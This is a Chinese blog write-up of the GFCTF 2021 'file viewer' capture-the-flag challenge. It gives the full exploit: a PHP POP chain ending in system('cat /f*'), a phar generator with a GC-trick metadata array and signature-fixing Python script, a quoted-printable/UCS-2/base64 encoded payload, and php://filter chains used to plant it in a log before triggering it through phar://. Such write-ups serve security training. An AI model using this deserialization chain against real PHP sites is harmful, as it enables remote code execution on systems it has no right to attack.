您现在的位置是:首页 >技术教程 >[GFCTF 2021]文件查看器(GZ、过滤器、phar) day4网站首页技术教程

[GFCTF 2021]文件查看器(GZ、过滤器、phar) day4

偶尔躲躲乌云334 2024-06-17 10:26:00
简介[GFCTF 2021]文件查看器(GZ、过滤器、phar) day4

打开界面直接一个登录界面,直接admin/admin登录进去 。

 进来之后发现是一个文件查看器的功能

随便输入了点东西发现了报错,然后读取文件的功能,输入Files.classs.php发现读取不成功

换了个index.php

<?php
    function __autoload($className) {
        include("class/".$className.".class.php");
    }

    if(!isset($_GET['c'])){
        header("location:./?c=User&m=login");
    }else{
        $c=$_GET['c'];
        $class=new $c();
        if(isset($_GET['m'])){
            $m=$_GET['m'];
            $class->$m();
        }
    }

 大概的意思就是new 传入一个类,然后调用类中的方法,推断肯定有别的源码,果断扫目录

发现www.zip,里面有几个php文件,然后可以看到每个类中都有几个魔法函数,说明肯定是用他们一起然后构造一个pop链,大致拼接了一下

 
<?php
class Myerror{

    public $message;
    public function __tostring(){
        $test=$this->message->{$this->test};
        return "test";
    }
}

class User{
    public $username;
    public $password;

    public function check(){
        if($this->username==="admin" && $this->password==="admin"){
            return true;
        }else{
            echo "{$this->username}的密码不正确或不存在该用户";
            return false;
        }
    }

    public function __destruct(){//destruct->call->check->String->get
        (@$this->password)();
    }

    public function __call($name,$arg){
        ($name)();
    }
}

class Files{
    public $filename;

    public function __get($key){
        ($key)($this->arg);
    }
}


 //destruct->check->String->get

<?php
class Myerror{

    public $message;
//    public function __tostring(){
//        $test=$this->message->{$this->test};
//        return "test";
//    }
}

class User{
    public $username;
    public $password;

//    public function check(){
//        if($this->username==="admin" && $this->password==="admin"){
//            return true;
//        }else{
//            echo "{$this->username}的密码不正确或不存在该用户";
//            return false;
//        }
//    }
//
//    public function __destruct(){//destruct->call->check->String->get
//        (@$this->password)();
//    }
}

class Files{
    public $arg;
    //public $filename;

//    public function __get($key){
//        ($key)($this->arg);
//    }
}
$U=new User();
$U->password=[new User(),"check"];
$U->username=new Myerror();
$U->username->message=new Files();
$U->username->test="system";
//$U->username->test->arg="cat /f*";
$U->username->message->arg="cat /f*";

echo serialize($U);

这里有一个点就是

([new User(),"check"];)();会调用user类中的check方法

但是类中没有unserialize反序列化的点, 发现日志里面可以写入但是前后都有脏数据

utf8转为UCS-16时,每个字符后面会生成一个/0不可见字符

但是被禁用了,和下面正好相反

utf8转为UCS-2时,每个字符前面会生成一个/0不可见字符

$a="abc==";
$a=iconv('utf-8','UCS-2',($a));
// a b c = =

 quoted_printable_encode,生成

这个字符生成原则除了ascii非ascii字符和等号用=+两个16进制数字表示,比如0就是=00,=就是=3d   

$a="abc==";
file_put_contents('a.txt',quoted_printable_encode($a));
//abc=3D=3D
这里要经过 quoted_printable_encode是 因为,utf8转为UCS-2时会生成不可见字符也就是空白,而 file_get_contents() 在加载有空字节的文件时会 warning

所以现在需要:

base64-encode --> utf-8 -> ucs-2 --> convert.quoted-printable-decode,我们可以写一个编码脚本:

<?php
$b = file_get_contents('ars2.phar');
$payload = iconv('utf-8', 'UCS-2', base64_encode($b));
file_put_contents('payload.txt', quoted_printable_encode($payload));
$s = file_get_contents('payload.txt');
$s = preg_replace('/=
/', '', $s);
echo $s;

构造完了以后就需要生成我们的phar文件

<?php


class Myerror{

    public $message;
}

class User{
    public $username;
    public $password;
}

class Files{
    public $arg;
}
$U=new User();
$U->password=[new User(),"check"];
$U->username=new Myerror();
$U->username->message=new Files();
$U->username->test="system";
//$U->username->test->arg="cat /f*";
$U->username->message->arg="cat /f*";
$b=[$U,null];
$phar = new Phar('aa.phar');
$phar->startBuffering();
$phar->setStub('GIF89a'.'<?php __HALT_COMPILER(); ? >');
$phar->setMetadata($b);
$phar->addFromString('test.txt', 'test');
$phar->stopBuffering();
?>

GC回收机制

通过这个就可以生成phar文件了,$b=[$U,null];这里怎么来的呢

这里就是 $b[0]=$U   $b[1]=null;  但是如果生成phar以后,我们在010把b[1]改为b[0]那么,前面的那个$b[0]=$U由于没有指针指向,就会被GC回收掉

但是phar是通过签名来进行解析,前面又依靠前面的数据,如果直接改的话则会数显解析错误的信息。

可以看到,最后四个字节固定是GBMB,然后再往前四个字节是⽤来指定签名的算法,可能是MD5、SHA1、SHA256、SHA512,默认是SHA1,长度为20个字节,所以说签名部分就是末尾的28个字节,那我们去掉末尾的28个字节,再利用sha1算法对文件进行加密,就可以得到正确的签名了

import gzip
from hashlib import sha1

file = open("arsenetang.phar","rb").read()

text = file[:-28]  #读取开始到末尾除签名外内容

last = file[-8:]   #读取最后8位的GBMB和签名flag

new_file = text+sha1(text).digest() + last  #生成新的文件内容,主要是此时sha1正确了。

open("arsenetang2.phar","wb").write(new_file)

这样我们把1改为0,再把后面的签名重新生成就ok了

回到本题这道题为啥要用GC回收机制呢

 因为这里过滤了phar但是我们又想用,所以在phar解析里面的变量指针为看空,直接就会不执行this->filter直接进行销毁触发反序列化的操作。

=00R=000=00l=00G=00O=00D=00l=00h=00P=00D=009=00w=00a=00H=00A=00g=00X=001=009=00I=00Q=00U=00x=00U=00X=000=00N=00P=00T=00V=00B=00J=00T=00E=00V=00S=00K=00C=00k=007=00I=00D=008=00+=00D=00Q=00q=00N=00A=00Q=00A=00A=00A=00Q=00A=00A=00A=00B=00E=00A=00A=00A=00A=00B=00A=00A=00A=00A=00A=00A=00B=00X=00A=00Q=00A=00A=00Y=00T=00o=00y=00O=00n=00t=00p=00O=00j=00A=007=00T=00z=00o=000=00O=00i=00J=00V=00c=002=00V=00y=00I=00j=00o=00y=00O=00n=00t=00z=00O=00j=00g=006=00I=00n=00V=00z=00Z=00X=00J=00u=00Y=00W=001=00l=00I=00j=00t=00P=00O=00j=00c=006=00I=00k=001=005=00Z=00X=00J=00y=00b=003=00I=00i=00O=00j=00I=006=00e=003=00M=006=00N=00z=00o=00i=00b=00W=00V=00z=00c=002=00F=00n=00Z=00S=00I=007=00T=00z=00o=001=00O=00i=00J=00G=00a=00W=00x=00l=00c=00y=00I=006=00M=00j=00p=007=00c=00z=00o=004=00O=00i=00J=00m=00a=00W=00x=00l=00b=00m=00F=00t=00Z=00S=00I=007=00T=00j=00t=00z=00O=00j=00M=006=00I=00m=00F=00y=00Z=00y=00I=007=00c=00z=00o=003=00O=00i=00J=00j=00Y=00X=00Q=00g=00L=002=00Y=00q=00I=00j=00t=009=00c=00z=00o=000=00O=00i=00J=000=00Z=00X=00N=000=00I=00j=00t=00z=00O=00j=00Y=006=00I=00n=00N=005=00c=003=00R=00l=00b=00S=00I=007=00f=00X=00M=006=00O=00D=00o=00i=00c=00G=00F=00z=00c=003=00d=00v=00c=00m=00Q=00i=00O=002=00E=006=00M=00j=00p=007=00a=00T=00o=00w=00O=000=008=006=00N=00D=00o=00i=00V=00X=00N=00l=00c=00i=00I=006=00M=00T=00p=007=00c=00z=00o=004=00O=00i=00J=001=00c=002=00V=00y=00b=00m=00F=00t=00Z=00S=00I=007=00T=00z=00o=003=00O=00i=00J=00N=00e=00W=00V=00y=00c=00m=009=00y=00I=00j=00o=00y=00O=00n=00t=00z=00O=00j=00c=006=00I=00m=001=00l=00c=003=00N=00h=00Z=002=00U=00i=00O=000=008=006=00N=00T=00o=00i=00R=00m=00l=00s=00Z=00X=00M=00i=00O=00j=00I=006=00e=003=00M=006=00O=00D=00o=00i=00Z=00m=00l=00s=00Z=00W=005=00h=00b=00W=00U=00i=00O=000=004=007=00c=00z=00o=00z=00O=00i=00J=00h=00c=00m=00c=00i=00O=003=00M=006=00N=00z=00o=00i=00Y=002=00F=000=00I=00C=009=00m=00K=00i=00I=007=00f=00X=00M=006=00N=00D=00o=00i=00d=00G=00V=00z=00d=00C=00I=007=00c=00z=00o=002=00O=00i=00J=00z=00e=00X=00N=000=00Z=00W=000=00i=00O=003=001=009=00a=00T=00o=00x=00O=003=00M=006=00N=00T=00o=00i=00Y=002=00h=00l=00Y=002=00s=00i=00O=003=001=009=00a=00T=00o=00w=00O=000=004=007=00f=00Q=00g=00A=00A=00A=00B=000=00Z=00X=00N=000=00L=00n=00R=004=00d=00A=00s=00A=00A=00A=00C=00L=001=006=00R=00h=00C=00w=00A=00A=00A=00N=00v=00G=00o=00S=00C=002=00A=00Q=00A=00A=00A=00A=00A=00A=00A=00G=00F=00h=00Y=00W=00F=00h=00Y=00W=00F=000=00Z=00X=00N=000=006=00O=00q=00P=00c=004=00H=00F=00K=009=00m=00B=003=00b=00p=00Q=00s=00r=005=00Y=00g=00y=004=00x=00o=00L=00Y=00C=00A=00A=00A=00A=00R=000=00J=00N=00Q=00g=00=3D=00=3D
php://filter/write=convert.quoted-printable-decode/resource=log/error.txt

php://filter/write=convert.iconv.ucs-2.utf8/resource=log/error.txt

php://filter/write=convert.base64-decode/resource=log/error.txt

php://filter/read=convert.quoted-printable-decode|convert.iconv.ucs-2.utf-8|convert.base64-decode/resource=log/error.txt  //组合过滤器

然后在解码的过程中发现少了一个=,我们在结尾重新传入 最上面加密后的字符+  =00=3D就可以了

最后  phar://log/error.txt触发即可

php://filter/read=consumed/resource=log/error.txt  清空日记操作

 WP篇之解析GFCTF---文件查看器 | Arsene.Tang (arsenetang.com)

最后提一句,这里的是否重写文件,其实就是调用的file_put_contents. 上面我们的过滤器都需要勾上,因为要对日志中的信息进行一个解码,需要它进行改变,然后为什么是log/error.txt咋来的呢,

通过源码以及给的zip目录,发现报错信息都写入了这里面。 

风语者!平时喜欢研究各种技术,目前在从事后端开发工作,热爱生活、热爱工作。